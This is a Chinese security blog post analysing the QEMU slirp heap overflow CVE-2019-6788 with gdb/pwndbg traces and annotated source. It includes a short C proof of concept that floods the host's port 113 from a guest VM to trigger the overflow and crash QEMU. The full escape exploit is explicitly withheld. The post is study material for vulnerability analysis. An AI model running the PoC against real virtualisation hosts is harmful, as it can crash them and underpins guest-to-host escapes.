wnagzihxa1n

wnagzihxa1n

iOS/Android Security

© 2021

大土豆安全笔记 2020.04.04

今天仔细把QEMU逃逸漏洞CVE-2019-6788的细节描述一下

搭建环境不多说了,大家可以参考《qemu-pwn cve-2019-6788堆溢出漏洞分析》

  • https://ray-cp.github.io/archivers/qemu-pwn-cve-2019-6788%E5%A0%86%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

使用GDB调试启动QEMU虚拟机

file ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64
run -kernel ./Kernel/linux-5.2.11/arch/x86/boot/bzImage -append "console=ttyS0 root=/dev/sda rw" -hda ./rootfs.img -m 2G -nographic -L ./pc-bios -smp 1 -net user,hostfwd=tcp::6788-:22 -net nic

Poc如下

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    int s, ret;
    struct sockaddr_in ip_addr;
    char buf[0x500];

    s = socket(AF_INET, SOCK_STREAM, 0);
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
    ip_addr.sin_port = htons(113);                   // vulnerable port
    ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
    memset(buf, 'A', 0x500);
    while (1) {
        write(s, buf, 0x500);
    }
    return 0;
}

在宿主机编译

wnagzihxa1n@Qemu:~/CVE-2019-6788/qemu-vm-escape$ gcc -o crash_poc crash_poc.c

将Poc传递到QEMU有很多种方法,我这里使用最简单的一种,宿主机开启一个Web服务

wnagzihxa1n@Qemu:~/CVE-2019-6788/qemu-vm-escape$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

然后QEMU虚拟机wget获取即可

root@ubuntu:~# wget 10.0.2.2:8000/crash_poc
--2020-04-02 03:44:21--  http://10.0.2.2:8000/crash_poc
Connecting to 10.0.2.2:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8872 (8.7K) [application/octet-stream]
Saving to: 'crash_poc'

crash_poc           100%[===================>]   8.66K  --.-KB/s    in 0.004s  

2020-04-02 03:44:21 (2.00 MB/s) - 'crash_poc' saved [8872/8872]

root@ubuntu:~# chmod 777 crash_poc

Web服务监控到文件传输

Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [02/Apr/2020 11:44:21] "GET /crash_poc HTTP/1.1" 200 -

此时QEMU虚拟机环境已经准备好,我们在宿主机开启端口监听

wnagzihxa1n@Qemu:~/CVE-2019-6788$ sudo nc -lvnp 113
[sudo] password for wnagzihxa1n: 
Listening on [0.0.0.0] (family 0, port 113)

执行Poc,宿主机成功收到数据

Listening on [0.0.0.0] (family 0, port 113)
Connection from [127.0.0.1] port 113 [tcp/*] accepted (family 2, sport 45840)

同时可以捕获到崩溃

IMAGE

如果使用断点,断点现场如下

file ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64
b tcp_emu
run -kernel ./Kernel/linux-5.2.11/arch/x86/boot/bzImage -append "console=ttyS0 root=/dev/sda rw" -hda ./rootfs.img -m 2G -nographic -L ./pc-bios -smp 1 -net user,hostfwd=tcp::6788-:22 -net nic

IMAGE

调用栈

 ► f 0     555555c14552 tcp_emu+28
   f 1     555555c10a2f tcp_input+3186
   f 2     555555c077e5 ip_input+710
   f 3     555555c0ac85 slirp_input+412
   f 4     555555bf2f80 net_slirp_receive+83
   f 5     555555be8a36 nc_sendv_compat+254
   f 6     555555be8af8 qemu_deliver_packet_iov+172
   f 7     555555beb5d5 qemu_net_queue_deliver_iov+80
   f 8     555555beb744 qemu_net_queue_send_iov+134
   f 9     555555be8c3d qemu_sendv_packet_async+289
   f 10     555555be8c6a qemu_sendv_packet+43

根据大佬们的文章,在函数tcp_emu()下断点,我们来看断点现场

root@ubuntu:~# ./crash_poc 
[Switching to Thread 0x7fffd5480700 (LWP 6110)]

Thread 4 "qemu-system-x86" hit Breakpoint 1, tcp_emu (so=0x7fffd29be200, m=0x5555579f1d00) at /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c:612
612	{
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
 RAX  0x7fffd29be200 —▸ 0x555556830220 —▸ 0x55555682e170 ◂— 0x7fffd29be200
 RBX  0x7fffd2a10110 ◂— 0x7fffd2a10110
 RCX  0x2238
 RDX  0x5555579f1d00 —▸ 0x5555579ff000 —▸ 0x7fffd24b5200 —▸ 0x7fffd23cbbd0 —▸ 0x55555682e068 ◂— ...
 RDI  0x7fffd29be200 —▸ 0x555556830220 —▸ 0x55555682e170 ◂— 0x7fffd29be200
 RSI  0x5555579f1d00 —▸ 0x5555579ff000 —▸ 0x7fffd24b5200 —▸ 0x7fffd23cbbd0 —▸ 0x55555682e068 ◂— ...
 R8   0x5555579f1d7e ◂— 0x6000202
 R9   0x0
 R10  0x5555579f1d7e ◂— 0x6000202
 R11  0x2
 R12  0x5555579f1d70 ◂— 0x0
 R13  0x18
 R14  0x55555684c6d0 ◂— 0xffffb20740523818
 R15  0x0
 RBP  0x7fffd547e950 —▸ 0x7fffd547eba0 —▸ 0x7fffd547ebf0 —▸ 0x7fffd547ec30 —▸ 0x7fffd547ec80 ◂— ...
 RSP  0x7fffd547e7c0 —▸ 0x5555579f1d00 —▸ 0x5555579ff000 —▸ 0x7fffd24b5200 —▸ 0x7fffd23cbbd0 ◂— ...
 RIP  0x555555c14552 (tcp_emu+28) ◂— mov    rax, qword ptr fs:[0x28]
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
 ► 0x555555c14552 <tcp_emu+28>    mov    rax, qword ptr fs:[0x28]
   0x555555c1455b <tcp_emu+37>    mov    qword ptr [rbp - 0x18], rax
   0x555555c1455f <tcp_emu+41>    xor    eax, eax
   0x555555c14561 <tcp_emu+43>    mov    rax, qword ptr [rbp - 0x188]
   0x555555c14568 <tcp_emu+50>    mov    rax, qword ptr [rax + 0x18]
   0x555555c1456c <tcp_emu+54>    mov    qword ptr [rbp - 0x140], rax
   0x555555c14573 <tcp_emu+61>    mov    rax, qword ptr [rbp - 0x188]
   0x555555c1457a <tcp_emu+68>    movzx  eax, byte ptr [rax + 0x139]
   0x555555c14581 <tcp_emu+75>    movzx  eax, al
   0x555555c14584 <tcp_emu+78>    cmp    eax, 7
   0x555555c14587 <tcp_emu+81>    ja     tcp_emu+4533 <0x555555c156eb>
──────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────
In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
   607  *
   608  * NOTE: if you return 0 you MUST m_free() the mbuf!
   609  */
   610 int
   611 tcp_emu(struct socket *so, struct mbuf *m)
 ► 612 {
   613 	Slirp *slirp = so->slirp;
   614 	u_int n1, n2, n3, n4, n5, n6;
   615         char buff[257];
   616 	uint32_t laddr;
   617 	u_int lport;
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffd547e7c0 —▸ 0x5555579f1d00 —▸ 0x5555579ff000 —▸ 0x7fffd24b5200 —▸ 0x7fffd23cbbd0 ◂— ...
01:0008│      0x7fffd547e7c8 —▸ 0x7fffd29be200 —▸ 0x555556830220 —▸ 0x55555682e170 ◂— 0x7fffd29be200
02:0010│      0x7fffd547e7d0 —▸ 0x7fffd547e9f0 —▸ 0x7fffd547ea60 ◂— 0xf02000afccf0002
03:0018│      0x7fffd547e7d8 ◂— 0x1
04:0020│      0x7fffd547e7e0 —▸ 0x555556829990 —▸ 0x5555566deb40 (net_hub_port_info) ◂— 0x8
05:0028│      0x7fffd547e7e8 —▸ 0x5555576ac4e0 —▸ 0x5555576ac360 —▸ 0x555556651ec0 (net_e1000_info) ◂— 0x1
06:0030│      0x7fffd547e7f0 ◂— 0x4620000a312e312e /* '.1.1\n' */
07:0038│      0x7fffd547e7f8 ◂— 0x40 /* '@' */
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
 ► f 0     555555c14552 tcp_emu+28
   f 1     555555c10a2f tcp_input+3186
   f 2     555555c077e5 ip_input+710
   f 3     555555c0ac85 slirp_input+412
   f 4     555555bf2f80 net_slirp_receive+83
   f 5     555555be8a36 nc_sendv_compat+254
   f 6     555555be8af8 qemu_deliver_packet_iov+172
   f 7     555555beb5d5 qemu_net_queue_deliver_iov+80
   f 8     555555beb744 qemu_net_queue_send_iov+134
   f 9     555555be8c3d qemu_sendv_packet_async+289
   f 10     555555be8c6a qemu_sendv_packet+43

对应的函数如下,我简单做了一些改动,但是函数逻辑没变化

int tcp_emu(struct socket *so, struct mbuf *m)
{
    Slirp *slirp = so->slirp;
	u_int n1, n2, n3, n4, n5, n6;

	switch(so->so_emu) {
		int x, i;

	    case EMU_IDENT:
    		/*
    		 * Identification protocol as per rfc-1413
    		 */
    		{
    			struct socket *tmpso;
    			struct sockaddr_in addr;
    			socklen_t addrlen = sizeof(struct sockaddr_in);
    			struct sbuf *so_rcv = &so->so_rcv;
    
    			memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
    			so_rcv->sb_wptr += m->m_len;
    			so_rcv->sb_rptr += m->m_len;
    			m->m_data[m->m_len] = 0; /* NULL terminate */
    			if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
    				if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
    					HTONS(n1);
    					HTONS(n2);
    					/* n2 is the one on our host */
    					for (tmpso = slirp->tcb.so_next;
    					     tmpso != &slirp->tcb;
    					     tmpso = tmpso->so_next) {
    						if (tmpso->so_laddr.s_addr == so->so_laddr.s_addr &&
    						    tmpso->so_lport == n2 &&
    						    tmpso->so_faddr.s_addr == so->so_faddr.s_addr &&
    						    tmpso->so_fport == n1) {
    							if (getsockname(tmpso->s,
    								(struct sockaddr *)&addr, &addrlen) == 0)
    							   n2 = ntohs(addr.sin_port);
    							break;
    						}
    					}
    				}
                    so_rcv->sb_cc = snprintf(so_rcv->sb_data, so_rcv->sb_datalen, "%d,%d\r\n", n1, n2);
    				so_rcv->sb_rptr = so_rcv->sb_data;
    				so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
    			}
    			m_free(m);
    			return 0;
    		}

    case EMU_FTP: /* ftp */
            ...

	case EMU_IRC:
	    ...
	    
	case EMU_REALAUDIO:
	    ...
	
	default:
		/* Ooops, not emulated, won't call tcp_emu again */
		so->so_emu = 0;
		return 1;
    }
}

此时函数执行到入口,查看两个参数,第一个参数是结构体struct socket *so

pwndbg> print *so
$3 = {
  so_next = 0x555556830220, 
  so_prev = 0x55555682e170, 
  s = 15, 
  pollfds_idx = 0, 
  slirp = 0x55555682dfc0, 
  so_m = 0x0, 
  so_ti = 0x5555579f1d70, 
  so_urgc = 0, 
  fhost = {
    ...
  }, 
  lhost = {
    ...
  }, 
  so_iptos = 16 '\020', 
  so_emu = 7 '\a', 
  so_type = 0 '\000', 
  so_state = 4, 
  so_tcpcb = 0x7fffd2a10110, 
  so_expire = 0, 
  so_queued = 0, 
  so_nqueued = 0, 
  so_rcv = {
    sb_cc = 0, 
    sb_datalen = 8760, 
    sb_wptr = 0x7fffd2d29cc0 "H\b", 
    sb_rptr = 0x7fffd2d29cc0 "H\b", 
    sb_data = 0x7fffd2d29cc0 "H\b"
  }, 
  so_snd = {
    sb_cc = 0, 
    sb_datalen = 8760, 
    sb_wptr = 0x7fffd2d27a80 "H\b", 
    sb_rptr = 0x7fffd2d27a80 "H\b", 
    sb_data = 0x7fffd2d27a80 "H\b"
  }, 
  extra = 0x0
}

可以看到第二个参数mbuf *m的数据就是传入的一大堆A

pwndbg> print *m
$4 = {
  m_next = 0x5555579ff000, 
  m_prev = 0x55555682e068, 
  m_nextpkt = 0x0, 
  m_prevpkt = 0x0, 
  m_flags = 4, 
  m_size = 1544, 
  m_so = 0x7fffd29be200, 
  m_data = 0x5555579f1db4 'A' <repeats 200 times>..., 
  m_len = 1280, 
  slirp = 0x55555682dfc0, 
  resolution_requested = false, 
  expiration_date = 18446744073709551615, 
  m_ext = 0x0, 
  m_dat = 0x5555579f1d60 ""
}

有了入口数据,我们来跟一遍代码,最后会发现,先拷贝了数据,当m->m_data里不存在\r\n的时候,就不更新so_rcv->sb_cc,这一点很重要

{
	struct socket *tmpso;
	struct sockaddr_in addr;
	socklen_t addrlen = sizeof(struct sockaddr_in);
	// 获取so->so_rcv结构体,sbuf这个结构体用于保存来自TCP层的数据
	struct sbuf *so_rcv = &so->so_rcv;

    // 将m->m_data数据写入so_rcv->sb_wptr,m对应的结构体是mbuf,用于保存来自IP层的数据
	memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
	
	// 移动读写指针
	so_rcv->sb_wptr += m->m_len;
	so_rcv->sb_rptr += m->m_len;
	
	// 末尾置空截断
	m->m_data[m->m_len] = 0; /* NULL terminate */
	
	// 漏洞出现在这里
	// 使用`strchr()`搜索,当m->m_data里不存在`\r`和`\n`的时候,返回NULL,就不会进入这个if
	if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
		if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
			HTONS(n1);
			HTONS(n2);
			/* n2 is the one on our host */
			for (tmpso = slirp->tcb.so_next;
			     tmpso != &slirp->tcb;
			     tmpso = tmpso->so_next) {
				if (tmpso->so_laddr.s_addr == so->so_laddr.s_addr &&
				    tmpso->so_lport == n2 &&
				    tmpso->so_faddr.s_addr == so->so_faddr.s_addr &&
				    tmpso->so_fport == n1) {
					if (getsockname(tmpso->s, (struct sockaddr *)&addr, &addrlen) == 0)
					   n2 = ntohs(addr.sin_port);
					break;
				}
			}
		}
		
		// so_rcv->sb_cc的值只有这里会更新
        so_rcv->sb_cc = snprintf(so_rcv->sb_data, so_rcv->sb_datalen, "%d,%d\r\n", n1, n2);
		so_rcv->sb_rptr = so_rcv->sb_data;
		so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
	}
	m_free(m);
	return 0;
}

查看结构体sbuf的定义可知,so_rcv->sb_cc就是缓冲区中的字符数量

struct sbuf {
	uint32_t sb_cc;		/* actual chars in buffer */
	uint32_t sb_datalen;	/* Length of data  */
	char	*sb_wptr;	/* write pointer. points to where the next
				 * bytes should be written in the sbuf */
	char	*sb_rptr;	/* read pointer. points to where the next
				 * byte should be read from the sbuf */
	char	*sb_data;	/* Actual data */
};

我们来看调用tcp_emu()tcp_input()

} else if (ti->ti_ack == tp->snd_una && tcpfrag_list_empty(tp) && ti->ti_len <= sbspace(&so->so_rcv)) {
	/*
	 * this is a pure, in-sequence data packet
	 * with nothing on the reassembly queue and
	 * we have enough buffer space to take it.
	 */
	tp->rcv_nxt += ti->ti_len;
	/*
	 * Add data to socket buffer.
	 * 把数据添加到缓冲区
	 */
	if (so->so_emu) {
		if (tcp_emu(so,m)) sbappend(so, m);
	} else
		sbappend(so, m);

第三个判断是长度,我们来看sbspace()的定义,结合这个定义可以理解这里是在说IP包的长度要小于缓冲区剩余空间

#define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)

静态分析就是这么个情况,我们来动态跑一下

拷贝前先看so_rcv的数据

In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
   633 			struct socket *tmpso;
   634 			struct sockaddr_in addr;
   635 			socklen_t addrlen = sizeof(struct sockaddr_in);
   636 			struct sbuf *so_rcv = &so->so_rcv;
   637 
 ► 638 			memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
   639 			so_rcv->sb_wptr += m->m_len;
   640 			so_rcv->sb_rptr += m->m_len;
   641 			m->m_data[m->m_len] = 0; /* NULL terminate */
   642 			if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
   643 				if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {

pwndbg> print *so_rcv
$6 = {
  sb_cc = 0, 
  sb_datalen = 8760, 
  sb_wptr = 0x7fffd2d29cc0 "H\b", 
  sb_rptr = 0x7fffd2d29cc0 "H\b", 
  sb_data = 0x7fffd2d29cc0 "H\b"
}
pwndbg> x/16gx 0x7fffd2d29cc0
0x7fffd2d29cc0:	0x00007fffd0000848	0x00007fffd3bdaff0
0x7fffd2d29cd0:	0x00007fffd3bdaff0	0x00007fffd3bdaff0
0x7fffd2d29ce0:	0x0000000000000000	0x0000000000000000
0x7fffd2d29cf0:	0x0000000000000000	0x0000000000000000
0x7fffd2d29d00:	0x0000000000000000	0x0000000000000000
0x7fffd2d29d10:	0x0000000000000000	0x0000000000000000
0x7fffd2d29d20:	0x0000000000000000	0x0000000000000000
0x7fffd2d29d30:	0x0000000000000000	0x0000000000000000

拷贝完成之后,已经可以看到数据写入了

In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
   634 			struct sockaddr_in addr;
   635 			socklen_t addrlen = sizeof(struct sockaddr_in);
   636 			struct sbuf *so_rcv = &so->so_rcv;
   637 
   638 			memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
 ► 639 			so_rcv->sb_wptr += m->m_len;
   640 			so_rcv->sb_rptr += m->m_len;
   641 			m->m_data[m->m_len] = 0; /* NULL terminate */
   642 			if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
   643 				if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
   644 					HTONS(n1);

pwndbg> print *so_rcv
$7 = {
  sb_cc = 0, 
  sb_datalen = 8760, 
  sb_wptr = 0x7fffd2d29cc0 'A' <repeats 200 times>..., 
  sb_rptr = 0x7fffd2d29cc0 'A' <repeats 200 times>..., 
  sb_data = 0x7fffd2d29cc0 'A' <repeats 200 times>...
}
pwndbg> x/16gx 0x7fffd2d29cc0
0x7fffd2d29cc0:	0x4141414141414141	0x4141414141414141
0x7fffd2d29cd0:	0x4141414141414141	0x4141414141414141
0x7fffd2d29ce0:	0x4141414141414141	0x4141414141414141
0x7fffd2d29cf0:	0x4141414141414141	0x4141414141414141
0x7fffd2d29d00:	0x4141414141414141	0x4141414141414141
0x7fffd2d29d10:	0x4141414141414141	0x4141414141414141
0x7fffd2d29d20:	0x4141414141414141	0x4141414141414141
0x7fffd2d29d30:	0x4141414141414141	0x4141414141414141

后面就是没有\r\n,进不了if去修改so_rcv->sb_cc,单步一下毫无悬念的被跳过了

In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
   662                                                          so_rcv->sb_datalen,
   663                                                          "%d,%d\r\n", n1, n2);
   664 				so_rcv->sb_rptr = so_rcv->sb_data;
   665 				so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
   666 			}
 ► 667 			m_free(m);
   668 			return 0;
   669 		}
   670 
   671         case EMU_FTP: /* ftp */
   672                 *(m->m_data+m->m_len) = 0; /* NUL terminate for strstr */

离开tcp_emu()

In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
   937 	 default:
   938 		/* Ooops, not emulated, won't call tcp_emu again */
   939 		so->so_emu = 0;
   940 		return 1;
   941 	}
 ► 942 }
   943 
   944 /*
   945  * Do misc. config of SLiRP while its running.
   946  * Return 0 if this connections is to be closed, 1 otherwise,
   947  * return 2 if this is a command-line connection

回到tcp_input()

In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_input.c
   578 			 *	he gets an ACK.
   579 			 *
   580 			 * It is better to not delay acks at all to maximize
   581 			 * TCP throughput.  See RFC 2581.
   582 			 */
 ► 583 			tp->t_flags |= TF_ACKNOW;
   584 			tcp_output(tp);
   585 			return;
   586 		}
   587 	} /* header prediction */
   588 	/*

函数tcp_input()挺大的,我们看关键的判断点,因为so_rcv->sb_cc没有被更新,所以可以继续写入数据

} else if (ti->ti_ack == tp->snd_una 
            && tcpfrag_list_empty(tp) 
            && ti->ti_len <= sbspace(&so->so_rcv)) {

我们的Poc是循环发送数据,刚才走完了第一轮,接下来进行第二轮

In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
   607  *
   608  * NOTE: if you return 0 you MUST m_free() the mbuf!
   609  */
   610 int
   611 tcp_emu(struct socket *so, struct mbuf *m)
 ► 612 {
   613 	Slirp *slirp = so->slirp;
   614 	u_int n1, n2, n3, n4, n5, n6;
   615         char buff[257];
   616 	uint32_t laddr;
   617 	u_int lport;

我们来看so->so_rcv,此时的sb_wptrsb_rptr已经指向的是添加了第一轮数据之后的位置,但是sb_cc却没有更新,那么如果我们一直发数据,就会一直写,并且等于没有长度校验,最终就会溢出

pwndbg> print so->so_rcv
$9 = {
  sb_cc = 0, 
  sb_datalen = 8760, 
  sb_wptr = 0x7fffd2d2a1c0 "", 
  sb_rptr = 0x7fffd2d2a1c0 "", 
  sb_data = 0x7fffd2d29cc0 'A' <repeats 200 times>...
}

利用过程不贴了

我觉得最关键的不是上面这些分析,常规的分析到这里一般也就结束了,最多再放一个帅气的计算器

但是我额外思考了一些东西:Debian在运行Poc的时候,通过与虚拟网卡交互发送数据到宿主机这个过程,内部的细节是怎样的?

我昨晚到现在看了不少关于这部分的资料,各类资料都比较乱,这里简单列一下

《QEMU虚拟网络E1000源代码分析》

  • http://oenhan.com/qemu-virtual-network-e1000

《qemu网络虚拟化之数据流向分析一》

  • https://www.cnblogs.com/ck1020/p/5910378.html

《qemu网络虚拟化之数据流向分析二》

  • https://www.cnblogs.com/ck1020/p/5913906.html

《qemu网络虚拟化之数据流向分析三》

  • https://www.cnblogs.com/ck1020/p/5914232.html

《虚拟网卡 TUN/TAP 驱动程序设计原理》

  • https://www.ibm.com/developerworks/cn/linux/l-tuntap/

《TUN/TAP设备浅析(一) – 原理浅析》

  • https://www.jianshu.com/p/09f9375b7fa7

这些资料有兴趣的同学可以看看,我也没有掌握的多深入,就不在这里瞎写了

如同大佬所说,其安全性值得研究,对于我来说,在研究它的安全性之前,先多看看这些分析QEMU内部原理的文章理解流程

IMAGE

带着疑问,继续深入研究一下细节,以下的记录不一定对,大家酌情阅读,如果有大佬发现错误,还请不吝赐教

在函数tcp_emu()断下后,打印出整个调用栈

pwndbg> bt
#0  tcp_emu (so=0x7fffd289e850, m=0x7fffd2527000) at /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c:612
#1  0x0000555555c10a2f in tcp_input (m=0x7fffd2527000, iphlen=20, inso=0x0, af=2) at /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_input.c:571
#2  0x0000555555c077e5 in ip_input (m=0x7fffd2527000) at /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/ip_input.c:206
#3  0x0000555555c0ac85 in slirp_input (slirp=0x55555682dfc0, pkt=0x7fffd4a7fcc0 "RU\n", pkt_len=1334) at /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/slirp.c:876
#4  0x0000555555bf2f80 in net_slirp_receive (nc=0x555556829c70, buf=0x7fffd4a7fcc0 "RU\n", size=1334) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/slirp.c:113
#5  0x0000555555be8a36 in nc_sendv_compat (nc=0x555556829c70, iov=0x7fffd547ef40, iovcnt=1, flags=0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:706
#6  0x0000555555be8af8 in qemu_deliver_packet_iov (sender=0x555556829630, flags=0, iov=0x7fffd547ef40, iovcnt=1, opaque=0x555556829c70) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:734
#7  0x0000555555beb5d5 in qemu_net_queue_deliver_iov (queue=0x555556829e60, sender=0x555556829630, flags=0, iov=0x7fffd547ef40, iovcnt=1) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/queue.c:179
#8  0x0000555555beb744 in qemu_net_queue_send_iov (queue=0x555556829e60, sender=0x555556829630, flags=0, iov=0x7fffd547ef40, iovcnt=1, sent_cb=0x0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/queue.c:224
#9  0x0000555555be8c3d in qemu_sendv_packet_async (sender=0x555556829630, iov=0x7fffd547ef40, iovcnt=1, sent_cb=0x0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:775
#10 0x0000555555be8c6a in qemu_sendv_packet (nc=0x555556829630, iov=0x7fffd547ef40, iovcnt=1) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:783
#11 0x0000555555bec16b in net_hub_receive_iov (hub=0x555556829410, source_port=0x555556829990, iov=0x7fffd547ef40, iovcnt=1) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/hub.c:74
#12 0x0000555555bec365 in net_hub_port_receive_iov (nc=0x555556829990, iov=0x7fffd547ef40, iovcnt=1) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/hub.c:125
#13 0x0000555555be8add in qemu_deliver_packet_iov (sender=0x5555576ac360, flags=0, iov=0x7fffd547ef40, iovcnt=1, opaque=0x555556829990) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:732
#14 0x0000555555beb559 in qemu_net_queue_deliver (queue=0x555556829b30, sender=0x5555576ac360, flags=0, data=0x7fffd4a7fcc0 "RU\n", size=1334) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/queue.c:164
#15 0x0000555555beb675 in qemu_net_queue_send (queue=0x555556829b30, sender=0x5555576ac360, flags=0, data=0x7fffd4a7fcc0 "RU\n", size=1334, sent_cb=0x0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/queue.c:19
#16 0x0000555555be889d in qemu_send_packet_async_with_flags (sender=0x5555576ac360, flags=0, buf=0x7fffd4a7fcc0 "RU\n", size=1334, sent_cb=0x0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:660
#17 0x0000555555be88d5 in qemu_send_packet_async (sender=0x5555576ac360, buf=0x7fffd4a7fcc0 "RU\n", size=1334, sent_cb=0x0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:667
#18 0x0000555555be8902 in qemu_send_packet (nc=0x5555576ac360, buf=0x7fffd4a7fcc0 "RU\n", size=1334) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:673
#19 0x0000555555adf75f in e1000_send_packet (s=0x7fffd4a5d010, buf=0x7fffd4a7fcc0 "RU\n", size=1334) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:538
#20 0x0000555555adfbc9 in xmit_seg (s=0x7fffd4a5d010) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:601
#21 0x0000555555ae00f8 in process_tx_desc (s=0x7fffd4a5d010, dp=0x7fffd547f180) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:688
#22 0x0000555555ae02f0 in start_xmit (s=0x7fffd4a5d010) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:743
#23 0x0000555555ae1388 in set_tctl (s=0x7fffd4a5d010, index=3590, val=26) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:1111
#24 0x0000555555ae1505 in e1000_mmio_write (opaque=0x7fffd4a5d010, addr=14360, val=26, size=4) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:1287
#25 0x0000555555860c39 in memory_region_write_accessor (mr=0x7fffd4a5f910, addr=14360, value=0x7fffd547f2e8, size=4, shift=0, mask=4294967295, attrs=...) at /home/wnagzihxa1n/CVE-2019-6788/qemu/memory.c:504
#26 0x0000555555860e4c in access_with_adjusted_size (addr=14360, value=0x7fffd547f2e8, size=4, access_size_min=4, access_size_max=4, access_fn=0x555555860b50 <memory_region_write_accessor>, mr=0x7fffd4a5f910
#27 0x0000555555863a9b in memory_region_dispatch_write (mr=0x7fffd4a5f910, addr=14360, data=26, size=4, attrs=...) at /home/wnagzihxa1n/CVE-2019-6788/qemu/memory.c:1452
#28 0x0000555555883fc0 in io_writex (env=0x55555684c6d0, iotlbentry=0x5555568563a0, mmu_idx=2, val=26, addr=18446649392234641432, retaddr=140736821593602, recheck=false, size=4) at /home/wnagzihxa1n/CVE-2015
#29 0x0000555555886016 in io_writel (env=0x55555684c6d0, mmu_idx=2, index=35, val=26, addr=18446649392234641432, retaddr=140736821593602, recheck=false) at /home/wnagzihxa1n/CVE-2019-6788/qemu/accel/tcg/sof3
#30 0x00005555558861d7 in helper_le_stl_mmu (env=0x55555684c6d0, addr=18446649392234641432, val=26, oi=34, retaddr=140736821593602) at /home/wnagzihxa1n/CVE-2019-6788/qemu/accel/tcg/softmmu_template.h:310
#31 0x00007fffd8420602 in code_gen_buffer ()
#32 0x00005555558a13f1 in cpu_tb_exec (cpu=0x555556844420, itb=0x7fffd841fb00 <code_gen_buffer+41540307>) at /home/wnagzihxa1n/CVE-2019-6788/qemu/accel/tcg/cpu-exec.c:171
#33 0x00005555558a22be in cpu_loop_exec_tb (cpu=0x555556844420, tb=0x7fffd841fb00 <code_gen_buffer+41540307>, last_tb=0x7fffd547fa18, tb_exit=0x7fffd547fa10) at /home/wnagzihxa1n/CVE-2019-6788/qemu/accel/tc5
#34 0x00005555558a25ba in cpu_exec (cpu=0x555556844420) at /home/wnagzihxa1n/CVE-2019-6788/qemu/accel/tcg/cpu-exec.c:725
#35 0x0000555555845fd2 in tcg_cpu_exec (cpu=0x555556844420) at /home/wnagzihxa1n/CVE-2019-6788/qemu/cpus.c:1429
#36 0x00005555558467ea in qemu_tcg_cpu_thread_fn (arg=0x555556844420) at /home/wnagzihxa1n/CVE-2019-6788/qemu/cpus.c:1733
